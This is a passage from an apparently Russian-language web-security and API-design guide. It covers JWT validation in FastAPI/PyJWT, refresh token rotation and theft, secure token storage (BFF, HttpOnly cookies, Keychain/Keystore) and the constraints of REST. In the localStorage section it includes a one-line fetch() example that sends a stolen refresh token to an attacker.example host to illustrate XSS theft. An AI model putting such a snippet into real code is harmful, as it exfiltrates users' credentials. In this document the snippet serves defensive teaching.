if subject is None:
    raise InvalidTokenError("Отсутствует sub")

try:
    user_id = int(subject)
except ValueError as exc:
    raise InvalidTokenError("Некорректный sub") from exc

user = await user_repository.get_by_id(user_id)

if user is None or not user.is_active:
    raise InvalidTokenError("Пользователь недоступен")

Корректная подпись подтверждает, что значение sub не было изменено после выпуска токена. Но она не гарантирует, что пользователь до сих пор существует, активен или имеет прежние права. RFC 8725 требует проверять допустимость субъекта в контексте приложения.

13. Проверка отзыва #

Если система поддерживает отзыв токенов, проверяется jti:

{
  "jti": "e9d58273-8750-46c9-86b5-14aa5e28b3a0"
}

Например, Redis:

revoked:access:e9d58273-8750-46c9-86b5-14aa5e28b3a0 = 1

Проверка:

jti = payload["jti"]

if await redis.exists(f"revoked:access:{jti}"):
    raise InvalidTokenError("Токен отозван")

Это уже не криптографическая, а прикладная проверка. Подпись может быть действительной, но приложение всё равно отклонит отозванный JWT.

jti является уникальным идентификатором токена и может использоваться для предотвращения повторного использования или управления отзывом.

Пример для FastAPI и PyJWT #

from typing import Any

import jwt
from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from jwt.exceptions import ExpiredSignatureError, InvalidTokenError

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")

SECRET_KEY = "use-a-long-random-secret-from-environment"
ALGORITHM = "HS256"
ISSUER = "notification-service"
AUDIENCE = "notification-api"


def decode_access_token(token: str) -> dict[str, Any]:
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[ALGORITHM],
            issuer=ISSUER,
            audience=AUDIENCE,
            leeway=5,
            options={
                "require": [
                    "sub",
                    "iss",
                    "aud",
                    "iat",
                    "exp",
                    "jti",
                ],
            },
        )
    except ExpiredSignatureError as exc:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Access token expired",
            headers={"WWW-Authenticate": "Bearer"},
        ) from exc
    except InvalidTokenError as exc:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid access token",
            headers={"WWW-Authenticate": "Bearer"},
        ) from exc

    if payload.get("type") != "access":
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid token type",
            headers={"WWW-Authenticate": "Bearer"},
        )

    return payload


async def get_current_user(
    token: str = Depends(oauth2_scheme),
):
    payload = decode_access_token(token)

    try:
        user_id = int(payload["sub"])
    except (TypeError, ValueError) as exc:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid token subject",
            headers={"WWW-Authenticate": "Bearer"},
        ) from exc

    user = await user_repository.get_by_id(user_id)

    if user is None or not user.is_active:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="User is inactive or does not exist",
            headers={"WWW-Authenticate": "Bearer"},
        )

    if await redis.exists(f"revoked:access:{payload['jti']}"):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Access token revoked",
            headers={"WWW-Authenticate": "Bearer"},
        )

    return user

Что делает jwt.decode() #

В корректной конфигурации вызов:

jwt.decode(
    token,
    key,
    algorithms=["HS256"],
    issuer=ISSUER,
    audience=AUDIENCE,
)

выполняет основную техническую часть:

• декодирует JWT;

• проверяет разрешённый алгоритм;

• проверяет подпись;

• проверяет exp;

• проверяет nbf;

• проверяет iat в рамках возможностей библиотеки;

• сравнивает iss;

• сравнивает aud;

• возвращает payload только после успешной проверки.

PyJWT предоставляет отдельные параметры для разрешённых алгоритмов, issuer, audience и временного leeway.

Приложение самостоятельно проверяет:

• обязательность claims через require;

• тип токена;

• формат и допустимость sub;

• активность пользователя;

• актуальность ролей;

• jti и состояние сессии;

• права на конкретную операцию.

Валидация и авторизация — разные этапы #

Допустим, JWT успешно проверен:

{
  "sub": "42",
  "role": "user",
  "type": "access"
}

Это означает:

токен настоящий
+ не истёк
+ предназначен этому API
+ относится к пользователю 42

Но это ещё не означает, что пользователь может выполнить:

DELETE /api/users/10

После валидации выполняется авторизация:

if current_user.role != "admin":
    raise HTTPException(
        status_code=403,
        detail="Insufficient permissions",
    )

Итоговый порядок:

извлечение токена
→ криптографическая валидация
→ проверка claims
→ проверка состояния пользователя и сессии
→ авторизация конкретного действия

7. Можно ли использовать refresh token несколько раз? #

Да, это зависит от выбранной стратегии управления refresh-токенами.

Вариант 1. Многоразовый refresh token #

Один refresh token можно использовать несколько раз до его:

• истечения;

• отзыва;

• завершения пользовательской сессии;

• блокировки пользователя.

Refresh A → новый Access 1
Refresh A → новый Access 2
Refresh A → новый Access 3

Такой подход технически допустим: OAuth 2.0 не требует обязательной замены refresh token при каждом обновлении. Сервер при успешном обновлении может вернуть новый refresh token, но это не обязательно.

Главный недостаток: если Refresh A украдут, серверу трудно определить, кто его использует — настоящий клиент или злоумышленник.

Вариант 2. Одноразовый refresh token с ротацией #

При каждом обновлении сервер:

1. принимает текущий refresh token;

2. помечает его использованным;

3. выпускает новый access token;

4. выпускает новый refresh token.

Refresh A → Access 1 + Refresh B
Refresh B → Access 2 + Refresh C
Refresh C → Access 3 + Refresh D

После получения Refresh B повторное использование Refresh A запрещено:

Refresh A → 401 Unauthorized

Это называется refresh token rotation. Современные рекомендации OAuth требуют для публичных клиентов использовать либо ротацию refresh-токенов, либо криптографическую привязку токена к конкретному клиенту.

Зачем обнаруживать повторное использование #

Предположим:

1. Злоумышленник украл Refresh A.
2. Пользователь применил Refresh A и получил Refresh B.
3. Refresh A стал недействительным.
4. Злоумышленник повторно отправляет Refresh A.

Сервер обнаруживает использование уже погашенного токена. Это указывает на возможную кражу.

Обычно после этого сервер отзывает всё семейство токенов:

Refresh A
    ↓
Refresh B
    ↓
Refresh C

Пользователю потребуется снова пройти аутентификацию. RFC 9700 прямо описывает ротацию как механизм обнаружения повторного использования украденного refresh token.

Проблема параллельных запросов #

Клиент может почти одновременно отправить два запроса:

Запрос 1: Refresh A → Refresh B
Запрос 2: Refresh A → ошибка повторного использования

Второй запрос может выглядеть как атака, хотя его отправил настоящий клиент. Поэтому обновление должно выполняться атомарно:

проверить Refresh A
→ пометить использованным
→ создать Refresh B
→ зафиксировать транзакцию

На клиенте также желательно не запускать несколько обновлений одновременно: один процесс обновляет токен, остальные запросы ожидают его результат.

Что выбрать #

Для простой внутренней системы допустим многоразовый refresh token при условии, что он:

• хранится на сервере или связан с серверной сессией;

• имеет ограниченный срок жизни;

• может быть отозван;

• передаётся только через TLS;

• надёжно хранится клиентом.

Для публичного веб-приложения, мобильного клиента или системы с повышенными требованиями безопасности предпочтительна ротация:

каждое использование
→ новый refresh token
→ старый становится недействительным

Итого: refresh token можно сделать многоразовым, но безопаснее выдавать новый при каждом обновлении и запрещать повторное использование старого.

8. Что будет, если украли refresh token? #

Что получает злоумышленник #

Украденный refresh token позволяет запрашивать новые access-токены от имени пользователя:

Украденный refresh token
        ↓
POST /auth/refresh
        ↓
Новый access token
        ↓
Доступ к API с правами пользователя

Злоумышленник сможет выполнять операции в пределах scope и полномочий, связанных с refresh token. В отличие от короткоживущего access token, refresh token часто действует дольше, поэтому утечка может обеспечить продолжительный доступ к учётной записи. Refresh token должен передаваться только серверу авторизации, храниться конфиденциально и использоваться через TLS.

Без ротации #

При многоразовом refresh token ситуация выглядит так:

Пользователь:    Refresh A → Access 1
Злоумышленник:   Refresh A → Access 2
Пользователь:    Refresh A → Access 3
Злоумышленник:   Refresh A → Access 4

Оба могут пользоваться одним токеном до тех пор, пока он:

• не истечёт;

• не будет отозван;

• не станет недействительным из-за завершения сессии;

• не будет заблокирован сервером.

При этом серверу сложно отличить легитимное использование от использования украденной копии.

При ротации refresh token #

При каждом обновлении старый токен заменяется новым:

Refresh A → Access 1 + Refresh B
Refresh B → Access 2 + Refresh C

Refresh A после первого использования становится недействительным.

Если токен украли, возможны два сценария.

Пользователь применил токен первым #

Пользователь:
Refresh A → Refresh B

Злоумышленник:
Refresh A → повторное использование

Сервер видит попытку использовать уже погашенный токен и обнаруживает возможную компрометацию.

Злоумышленник применил токен первым #

Злоумышленник:
Refresh A → Refresh B

Пользователь:
Refresh A → повторное использование

Сервер также обнаруживает повторное использование, но не может надёжно определить, какая сторона является настоящим пользователем.

Поэтому при обнаружении повторного использования обычно отзывается всё семейство refresh-токенов:

Refresh A → Refresh B → Refresh C
      вся цепочка отзывается

Пользователю приходится снова пройти аутентификацию. RFC 9700 требует для публичных клиентов применять механизм обнаружения повторного использования refresh token — ротацию либо привязку токена к конкретному отправителю.

Что происходит с уже выданными access-токенами #

Отзыв refresh token прежде всего запрещает выпуск новых access-токенов. Но уже выданный access JWT может продолжить работать до своего exp, если API проверяет только:

подпись + exp + iss + aud

Например:

12:00 — злоумышленник получил access token до 12:15
12:02 — refresh token отозван
12:02–12:15 — access token может продолжать работать
12:15 — access token истекает

Чтобы прекратить доступ немедленно, система должна дополнительно:

• отозвать связанные access-токены;

• заблокировать серверную сессию;

• проверять jti или session_id в Redis/БД;

• использовать introspection для непрозрачных токенов.

RFC 7009 указывает, что при отзыве refresh token серверу следует также аннулировать access-токены, выданные в рамках того же authorization grant, если такая возможность поддерживается.

Как должна реагировать система #

При подтверждённой утечке сервер должен:

1. Отозвать украденный refresh token.

2. Отозвать всё его семейство при использовании ротации.

3. Завершить соответствующую пользовательскую сессию.

4. По возможности отозвать связанные access-токены.

5. Потребовать повторную аутентификацию.

6. Зафиксировать IP, устройство и время подозрительного обновления.

7. Уведомить пользователя о завершении сессии.

8. Проверить источник утечки.

Стандартный endpoint отзыва выглядит примерно так:

POST /auth/revoke
Content-Type: application/x-www-form-urlencoded

token=<refresh-token>&token_type_hint=refresh_token

После успешного отзыва токен больше не должен использоваться, хотя в распределённой системе возможна небольшая задержка распространения информации между сервисами.

Как уменьшить последствия кражи #

Практичная схема:

Access token:
короткий срок — например, 5–15 минут

Refresh token:
серверная сессия
+ ротация при каждом использовании
+ обнаружение повторного использования
+ абсолютный срок жизни
+ срок неактивности
+ возможность отзыва

Также refresh token желательно:

• хранить в виде хеша на сервере;

• привязывать к конкретной сессии и клиенту;

• не записывать в логи;

• не передавать ресурсным API;

• защищать от XSS и утечек из клиентского хранилища;

• для браузера хранить в HttpOnly, Secure, правильно настроенной cookie;

• обновлять атомарно, чтобы параллельные запросы не создавали ложное обнаружение кражи.

Важное уточнение #

Проблема не зависит от того, является refresh token JWT или случайной непрозрачной строкой:

JWT refresh token
или
opaque refresh token

Если злоумышленник может предъявить действительный bearer refresh token серверу авторизации, он может попытаться получить новый access token.

Главная опасность кражи refresh token — не чтение его payload, а возможность долго поддерживать доступ к учётной записи, постоянно выпуская новые access-токены. Ротация ограничивает эту возможность и позволяет обнаружить повторное использование.

9. Где хранить access token и refresh token? #

Для браузерного приложения с backend #

Наиболее безопасная схема — не передавать JWT в JavaScript вообще:

Браузер
   │ HttpOnly session cookie
   ▼
Backend / BFF
   │ access token
   ▼
API

• access token хранится на backend, обычно в памяти, Redis или серверном хранилище сессий;

• refresh token хранится только на backend, желательно в зашифрованном виде или как хеш;

• браузер получает только идентификатор серверной сессии в cookie.

Пример cookie:

Set-Cookie: __Host-session=opaque_random_value;
            Path=/;
            Secure;
            HttpOnly;
            SameSite=Lax

Такая схема называется Backend for Frontend — BFF. Она не позволяет JavaScript прочитать и украсть access или refresh token. Актуальные рекомендации IETF для браузерных приложений рассматривают BFF как наиболее защищённый вариант: OAuth-токены остаются на сервере, а браузер работает через cookie-сессию.

Что означают параметры cookie #

• HttpOnly — JavaScript не может прочитать cookie через document.cookie;

• Secure — cookie передаётся только по HTTPS;

• SameSite — ограничивает отправку cookie при межсайтовых запросах;

• Path=/ — область действия cookie;

• префикс __Host- требует Secure, Path=/ и отсутствия Domain, что ограничивает возможность подмены cookie поддоменами.

SameSite=Strict безопаснее, но может мешать OAuth-переходам и некоторым внешним ссылкам. Для обычной серверной сессии часто применяется:

SameSite=Lax

При действительно межсайтовой архитектуре может потребоваться:

SameSite=None; Secure

В таком случае необходима полноценная защита от CSRF.

Для SPA без BFF #

Когда frontend непосредственно обращается к API, компромиссный вариант выглядит так:

Access token  → только в памяти JavaScript
Refresh token → HttpOnly cookie или изолированное хранилище

Access token #

Access token желательно хранить только в оперативной памяти:

let accessToken = null;

После перезагрузки страницы он исчезнет, но его можно заново получить через защищённый refresh-механизм.

Более изолированный вариант:

Web Worker
    └── хранит и использует токен

Хранение в памяти уменьшает время, в течение которого токен можно похитить, но не защищает полностью: при работающем XSS злоумышленник может отправлять запросы от имени пользователя даже без прямого чтения токена. IETF отдельно рассматривает хранение токенов в памяти и Web Worker как более изолированные варианты по сравнению с постоянным browser storage.

Refresh token #

Refresh token можно помещать в отдельную cookie:

Set-Cookie: __Host-refresh=<token>;
            Path=/auth/refresh;
            Secure;
            HttpOnly;
            SameSite=Strict

Ограниченный Path означает, что cookie будет отправляться только на endpoint обновления:

POST /auth/refresh

В этом случае JavaScript не сможет прочитать refresh token:

document.cookie // refresh token здесь недоступен

Но cookie автоматически отправляется браузером, поэтому необходимо учитывать CSRF:

• использовать SameSite;

• проверять Origin и/или Referer;

• при необходимости использовать CSRF-токен;

• принимать только POST;

• не выполнять обновление через GET;

• настроить CORS без широкого Access-Control-Allow-Origin: *.

HttpOnly препятствует чтению cookie через XSS, но не предотвращает отправку запросов из скомпрометированной страницы и сам по себе не является защитой от CSRF.

Почему не следует использовать localStorage #

Не рекомендуется:

localStorage.setItem("access_token", accessToken);
localStorage.setItem("refresh_token", refreshToken);

Любой JavaScript, выполняющийся в origin приложения, может получить токены:

fetch("https://attacker.example/steal", {
    method: "POST",
    body: localStorage.getItem("refresh_token"),
});

Код может появиться через:

• XSS;

• скомпрометированную npm-зависимость;

• сторонний аналитический скрипт;

• заражённый CDN;

• ошибку в собственном frontend-коде.

OWASP прямо рекомендует не хранить JWT, идентификаторы сессий и refresh-токены в localStorage или sessionStorage, поскольку они доступны JavaScript.

А sessionStorage безопаснее? #

sessionStorage очищается после закрытия вкладки и не разделяется между вкладками, поэтому последствия утечки могут быть немного ограничены.

Но с точки зрения XSS:

localStorage  → доступен JavaScript
sessionStorage → тоже доступен JavaScript

Поэтому sessionStorage не является безопасным хранилищем для долгоживущего refresh token. Для короткоживущего access token это иногда применяется как компромисс, но хранение только в памяти предпочтительнее.

Можно ли хранить JWT прямо в HttpOnly cookie #

Можно:

Set-Cookie: access_token=<jwt>;
            Secure;
            HttpOnly;
            SameSite=Lax

Но тогда JWT фактически используется как cookie-сессия:

Браузер автоматически отправляет JWT
→ возникает CSRF-модель угроз

Плюсы:

• токен нельзя напрямую прочитать через JavaScript;

• уменьшается риск кражи токена посредством простого XSS;

• удобно для браузерного приложения.

Минусы:

• необходима CSRF-защита;

• cookie будет отправляться автоматически;

• logout и отзыв JWT остаются отдельной проблемой;

• большой JWT передаётся с каждым запросом;

• браузерная cookie может иметь ограничения по размеру.

Часто лучше положить в cookie не JWT, а случайный идентификатор серверной сессии:

cookie: session_id=Jfp7dQ...
Redis:  session_id → user_id, access_token, refresh_token

Это упрощает немедленный logout, отзыв сессии и обновление прав.

Где хранить токены на сервере #

Access token #

Access token обычно хранится:

• в оперативной памяти процесса;

• в Redis с TTL;

• внутри серверной сессии;

• иногда вообще не хранится, если сервер сам выпускает JWT.

Пример:

session:abc:
    user_id = 42
    access_token = ...
    expires_at = ...

Refresh token #

Refresh token требует более строгой защиты:

Redis / база данных
    ├── hash refresh token
    ├── user_id
    ├── session_id
    ├── family_id
    ├── expires_at
    ├── used_at
    └── revoked_at

Для собственного opaque refresh token лучше хранить его хеш:

stored_hash = sha256(refresh_token.encode()).hexdigest()

Это похоже на хранение пароля:

Клиент хранит оригинал
Сервер хранит хеш

При краже базы злоумышленник не получает готовые refresh-токены.

Для ротации необходимо атомарно:

проверить старый токен
→ пометить использованным
→ создать новый токен
→ сохранить новый хеш

Refresh-токены публичных клиентов должны использовать ротацию либо быть криптографически привязаны к клиенту.

Мобильные приложения #

В мобильном приложении refresh token следует хранить в системном защищённом хранилище:

iOS     → Keychain
Android → хранилище с ключом из Android Keystore

Access token можно держать:

• в оперативной памяти;

• при необходимости — в том же защищённом хранилище, но с коротким сроком жизни.

Apple Keychain предоставляет зашифрованное хранилище для небольших секретов. Android Keystore позволяет хранить криптографические ключи так, чтобы ключевой материал нельзя было непосредственно извлечь с устройства; этим ключом можно шифровать сохранённый refresh token.

Не следует хранить refresh token в:

обычных SharedPreferences
SQLite без шифрования
обычном файле
логах приложения

Межсервисное взаимодействие #

Для backend-сервиса:

Access token → память или краткоживущий Redis-кэш
Refresh token → зашифрованное серверное хранилище
Client secret → Secret Manager / Vault / защищённая конфигурация

Не следует хранить токены:

• в исходном коде;

• в Git;

• в Docker image;

• в открытых логах;

• в URL;

• в необработанных трассировках запросов.

Рекомендуемая схема для FastAPI и браузерного frontend #

Для обычного собственного frontend и FastAPI наиболее практичный вариант:

Браузер:
    __Host-session в HttpOnly cookie

FastAPI:
    session_id → Redis

Redis:
    user_id
    refresh_token_hash или зашифрованный refresh token
    текущий token family
    expires_at
    revoked_at

Access JWT:
    создаётся или обновляется на backend
    используется backend/BFF при вызове сервисов

Когда frontend должен обращаться к API напрямую:

Access token:
    только в памяти frontend
    срок 5–15 минут

Refresh token:
    Secure + HttpOnly cookie
    Path=/auth/refresh
    ротация при каждом использовании
    защита от CSRF

Итог #

Для браузера лучший вариант:

Access token  → backend/BFF
Refresh token → backend/BFF
Браузер       → только HttpOnly session cookie

Допустимый компромисс для SPA:

Access token  → память
Refresh token → Secure HttpOnly cookie

Для мобильного приложения:

Access token  → память
Refresh token → Keychain / Keystore-защищённое хранилище

Наиболее нежелательный вариант:

Access token  → localStorage
Refresh token → localStorage

Особенно опасно хранить в localStorage refresh token, поскольку его кража позволяет злоумышленнику продолжительное время выпускать новые access-токены.

10. Что такое REST (Representational State Transfer) и RESTfull как архитектурный стиль, и какие ограничения (constraints) лежат в его основе? #

Что такое REST #

REST — Representational State Transfer — архитектурный стиль для построения распределённых гипермедийных систем. Он был сформулирован Роем Филдингом в докторской диссертации 2000 года как набор архитектурных ограничений, из которых выводятся свойства современной веб-архитектуры: масштабируемость, независимость компонентов, кэшируемость и единообразное взаимодействие. REST — не протокол, не формат данных и не библиотека.

Правильное написание:

RESTful

а не RESTfull.

RESTful-система — система, которая следует ограничениям REST. На практике словом RESTful часто называют любой HTTP API с JSON и маршрутами вроде /users/42, но строго этого недостаточно: соответствие REST определяется архитектурными ограничениями, а не только использованием HTTP-методов.

Что означает Representational State Transfer #

Название можно разобрать так:

• Resource — ресурс;

• Representation — представление ресурса;

• State — состояние приложения;

• Transfer — передача представлений между клиентом и сервером.

Ресурс #

Ресурс — некоторая сущность или концепция, идентифицируемая URI:

/users/42
/orders/1001
/articles/rest

Ресурсом может быть:

• пользователь;

• заказ;

• документ;

• коллекция;

• результат вычисления;

• текущее состояние операции.

HTTP называет целью запроса ресурс, а URI используется для его идентификации.

Представление ресурса #

Клиент обычно получает не сам ресурс, а его представление:

GET /users/42
Accept: application/json

{
  "id": 42,
  "username": "alfob"
}

Этот же ресурс может иметь другое представление:

GET /users/42
Accept: application/xml

<user>
    <id>42</id>
    <username>alfob</username>
</user>

Ресурс и его представление — не одно и то же:

Ресурс:
    пользователь с ID 42

Представления:
    JSON
    XML
    HTML
    изображение

HTTP отделяет идентификацию ресурса от представления и семантики операции над ним.

Передача состояния #

Клиент получает представления ресурсов и на их основе изменяет состояние своего взаимодействия с системой.

Например:

Клиент находится на списке заказов
        ↓
получает ссылку на заказ 1001
        ↓
переходит к заказу 1001
        ↓
получает допустимое действие «оплатить»
        ↓
переходит к оплате

Передаваемые сервером представления содержат данные и, в полном REST-подходе, ссылки или элементы управления, позволяющие клиенту перейти в следующее состояние приложения.

REST и HTTP #

REST не требует обязательного использования HTTP. Теоретически REST-ограничения можно реализовать поверх другого протокола.

Однако HTTP хорошо соответствует REST:

• URI идентифицирует ресурс;

• методы выражают семантику операции;

• заголовки описывают сообщение;

• статус-коды сообщают результат;

• Content-Type описывает представление;

• HTTP поддерживает кэширование и посредников.

HTTP является stateless-протоколом запрос–ответ с единообразным интерфейсом и самодостаточными сообщениями, поэтому он естественно подходит для реализации REST.

Архитектурные ограничения REST #

REST строится на шести ограничениях:

1. Client–Server
2. Stateless
3. Cache
4. Uniform Interface
5. Layered System
6. Code on Demand — необязательное

Эти ограничения применяются совместно. Их цель — не просто определить внешний вид URL, а сформировать свойства всей системы.

1. Client–Server — разделение клиента и сервера #

Клиент и сервер имеют разные обязанности:

Клиент:
    интерфейс
    отображение
    пользовательское взаимодействие

Сервер:
    бизнес-логика
    данные
    авторизация
    обработка запросов

Client ──request──> Server
Client <─response── Server

Клиенту не требуется знать:

• какая база данных используется;

• как устроены таблицы;

• на каком языке написан сервер;

• как сервер реализует бизнес-логику.

Серверу не требуется знать:

• как устроен интерфейс клиента;

• является клиент браузером, мобильным приложением или другим сервисом.

Это позволяет развивать клиент и сервер независимо, пока сохраняется контракт взаимодействия. Филдинг выводит REST из клиент-серверного стиля именно для разделения обязанностей и независимой эволюции компонентов.

2. Stateless — отсутствие состояния клиентской сессии на сервере #

Каждый запрос должен содержать всю информацию, необходимую для его обработки.

Например:

GET /api/profile
Authorization: Bearer <access-token>
Accept: application/json

Сервер не должен зависеть от скрытого контекста предыдущего запроса:

Плохо:

Запрос 1: «Выбрать пользователя 42»
Запрос 2: «Показать его заказы»

Сервер должен помнить, кого означает «его».

Stateless:

GET /users/42/orders

Каждый запрос можно понять независимо.

Что stateless не означает #

Stateless не означает, что сервер не хранит никаких данных.

Сервер может хранить:

• пользователей;

• заказы;

• товары;

• платежи;

• файлы;

• состояние бизнес-процессов.

Ограничение касается контекста клиентской сессии между запросами:

Состояние ресурсов в БД        → допустимо
Неявный контекст диалога       → нарушает stateless

Филдинг определяет stateless-взаимодействие так: каждый запрос клиента должен содержать всю необходимую информацию, а сервер не должен использовать сохранённый контекст предыдущих запросов для его понимания.

Преимущества #

• любой экземпляр сервера может обработать запрос;

• проще горизонтальное масштабирование;

• проще восстановление после сбоя;

• запросы проще анализировать и повторять;

• серверу не нужно синхронизировать контекст сессии между экземплярами.

Недостатки #

• часть контекста приходится отправлять повторно;

• запросы могут стать больше;

• клиент должен управлять своим состоянием;

• авторизационные данные приходится передавать с каждым защищённым запросом.

3. Cacheable — кэшируемость #

Ответ должен явно или неявно определяться как:

cacheable

или:

non-cacheable

Пример:

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
ETag: "user-42-v7"
Content-Type: application/json

Кэш может находиться:

• в браузере;

• в мобильном приложении;

• в reverse proxy;

• в CDN;

• в API Gateway;

• в промежуточном сервере.

Client → Cache → Server
          │
          └── может вернуть сохранённый ответ

Преимущества:

• меньше запросов к серверу;

• ниже задержка;

• меньше сетевой трафик;

• выше масштабируемость.

Недостаток — риск устаревших данных. Поэтому кэширование должно управляться явно через механизмы вроде:

Cache-Control
ETag
If-None-Match
Last-Modified
If-Modified-Since

REST добавляет ограничение кэшируемости поверх stateless-взаимодействия, чтобы повысить эффективность и воспринимаемую производительность системы. HTTP предоставляет стандартные механизмы для реализации такого кэширования.

4. Uniform Interface — единообразный интерфейс #

Это центральное ограничение REST. Все компоненты взаимодействуют через общий, стандартизированный интерфейс, а не через уникальные команды для каждого типа объекта.

В HTTP роль такого интерфейса выполняют:

• URI;

• стандартные методы;

• статус-коды;

• заголовки;

• представления ресурсов;

• ссылки и элементы управления.

Например:

GET /users/42
DELETE /users/42
PUT /users/42

Вместо процедурных команд:

POST /getUser
POST /deleteUser
POST /replaceUser

Uniform Interface включает четыре более конкретных ограничения.

4.1. Identification of resources — идентификация ресурсов #

Каждый ресурс должен иметь стабильный идентификатор:

/users/42
/orders/1001
/orders/1001/items

URI идентифицирует ресурс, а не конкретное действие над ним.

Предпочтительно:

GET /users/42
DELETE /users/42

Вместо:

POST /get-user
POST /delete-user

Это не означает, что URI обязан содержать существительное при любых обстоятельствах, но в ресурсной модели действия обычно выражаются семантикой метода, а не глаголом в URL.

4.2. Manipulation through representations — управление через представления #

Клиент изменяет ресурс, передавая его представление или описание изменения:

PUT /users/42
Content-Type: application/json

{
  "username": "new_name",
  "email": "new@example.com"
}

Или частичное изменение:

PATCH /users/42
Content-Type: application/merge-patch+json

{
  "email": "new@example.com"
}

Клиент не получает прямого доступа к внутреннему объекту или строке базы данных. Он взаимодействует через сетевое представление ресурса.

4.3. Self-descriptive messages — самодостаточные сообщения #

Сообщение должно содержать достаточно информации, чтобы получатель понял, как его обработать:

POST /orders
Content-Type: application/json
Authorization: Bearer <token>
Accept: application/json

{
  "product_id": 15,
  "quantity": 2
}

Здесь явно указаны:

• операция — POST;

• целевой ресурс — /orders;

• формат тела — application/json;

• ожидаемый формат ответа;

• авторизационные данные.

Ответ также должен быть самодостаточным:

HTTP/1.1 201 Created
Location: /orders/1001
Content-Type: application/json

{
  "id": 1001,
  "status": "created"
}

HTTP определяет семантику сообщения через метод, статус-код, поля заголовков и метаданные представления.

4.4. HATEOAS — управление состоянием приложения через гипермедиа #

Полное название:

Hypermedia As The Engine Of Application State

Сервер возвращает не только данные, но и допустимые дальнейшие действия:

{
  "id": 1001,
  "status": "pending",
  "_links": {
    "self": {
      "href": "/orders/1001"
    },
    "payment": {
      "href": "/orders/1001/payment",
      "method": "POST"
    },
    "cancel": {
      "href": "/orders/1001/cancellation",
      "method": "POST"
    }
  }
}

После оплаты представление может измениться:

{
  "id": 1001,
  "status": "paid",
  "_links": {
    "self": {
      "href": "/orders/1001"
    },
    "receipt": {
      "href": "/orders/1001/receipt"
    }
  }
}

Ссылки payment и cancel исчезли, потому что эти переходы больше недоступны.

Идея заключается в том, что клиент не должен заранее жёстко знать все URI и переходы. Он знает начальную точку и стандартные типы представлений, а дальнейшие действия узнаёт из ответов сервера.

Именно гипермедиа отличает строгий REST от большинства API, которые сегодня называют RESTful. Обычный CRUD API может соблюдать ресурсность, HTTP-семантику и stateless-подход, но не реализовывать полноценный HATEOAS.

5. Layered System — слоистая система #

Клиент не должен знать, взаимодействует ли он непосредственно с конечным сервером или с промежуточным компонентом.

Client
   ↓
CDN
   ↓
Reverse Proxy
   ↓
API Gateway
   ↓
Application
   ↓
Database

Промежуточными слоями могут быть:

• балансировщик нагрузки;

• CDN;

• reverse proxy;

• API Gateway;

• сервис авторизации;

• кэш;

• WAF;

• service mesh.

Каждый компонент взаимодействует только с непосредственным соседом и не обязан знать всю внутреннюю топологию.

Это позволяет:

• добавлять балансировку;

• централизовать безопасность;

• использовать кэширование;

• скрывать внутренние сервисы;

• масштабировать компоненты независимо.

Недостатки:

• дополнительная задержка;

• более сложная диагностика;

• сложнее определить источник ошибки;

• промежуточные слои могут изменять или ограничивать сообщения.

Филдинг отмечает, что layered system ограничивает знание компонента только ближайшим уровнем взаимодействия и позволяет добавлять посредников для масштабирования, безопасности и инкапсуляции устаревших систем.

6. Code on Demand — код по требованию #

Это единственное необязательное ограничение REST.

Сервер может передавать клиенту исполняемый код, расширяющий его возможности:

HTML
 ↓
JavaScript от сервера
 ↓
выполнение в браузере

Пример:

<script src="/static/app.js"></script>

Преимущество:

• сервер может динамически расширять функциональность клиента;

• часть обработки переносится на клиент;

• клиенту не обязательно заранее реализовывать всю логику.

Недостатки:

• ухудшается прозрачность взаимодействия;

• сложнее анализировать поведение системы;

• появляются дополнительные риски безопасности;

• поведение зависит от исполняемой среды клиента.

Поскольку это ограничение необязательно, система может считаться RESTful без передачи исполняемого кода.

Роль HTTP-методов #

HTTP-метод задаёт семантику операции, а URI определяет целевой ресурс:

GET    /users/42
POST   /users
PUT    /users/42
PATCH  /users/42
DELETE /users/42

Типичное значение:

Важно: REST не утверждает, что каждый CRUD-метод обязан механически соответствовать одному HTTP-методу. Семантику методов определяет HTTP, а конкретную ресурсную модель — приложение. RFC 9110 подчёркивает разделение идентификации ресурса и семантики метода запроса.

REST — не просто CRUD #

Такой API выглядит ресурсно:

GET    /users
GET    /users/42
POST   /users
PATCH  /users/42
DELETE /users/42

Но сам набор CRUD-маршрутов ещё не доказывает соответствие REST.

Необходимо также учитывать:

• stateless-взаимодействие;

• кэшируемость;

• самодостаточность сообщений;

• единообразную семантику;

• слоистую архитектуру;

• гипермедийное управление переходами.

Следовательно:

HTTP + JSON + CRUD ≠ автоматически REST

REST — не обязательное использование JSON #

Представлением может быть:

JSON
XML
HTML
CSV
JPEG
PDF

Например:

GET /reports/2026
Accept: application/pdf

GET /reports/2026
Accept: application/json

Один ресурс может предоставлять несколько представлений через механизм согласования содержимого.

REST — не обязательное отсутствие cookies и серверных сессий #

Cookie сама по себе не нарушает REST.

Нарушение возникает, когда серверу для понимания текущего запроса нужен скрытый контекст предыдущих запросов:

Cookie содержит все необходимые авторизационные данные
или идентификатор проверяемой авторизации
    → не обязательно нарушает stateless

Сервер хранит пошаговый контекст диалога,
без которого текущий запрос невозможно понять
    → нарушает stateless

На практике классическая серверная пользовательская сессия часто уменьшает степень stateless, особенно когда логика запроса зависит от накопленного контекста сессии. Но вопрос определяется не самим фактом наличия cookie, а тем, является ли каждый запрос самодостаточным.

Пример условно RESTful API #

Получение заказа:

GET /orders/1001
Accept: application/json
Authorization: Bearer <token>

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: private, max-age=60
ETag: "order-1001-v4"

{
  "id": 1001,
  "status": "pending",
  "total": 120.50,
  "_links": {
    "self": {
      "href": "/orders/1001"
    },
    "customer": {
      "href": "/customers/42"
    },
    "payment": {
      "href": "/orders/1001/payment",
      "method": "POST"
    }
  }
}

Здесь видны основные элементы REST:

/orders/1001              → идентификатор ресурса
application/json          → представление
GET                       → единообразная семантика
Authorization             → самодостаточность запроса
Cache-Control и ETag      → кэшируемость
_links                    → гипермедиа
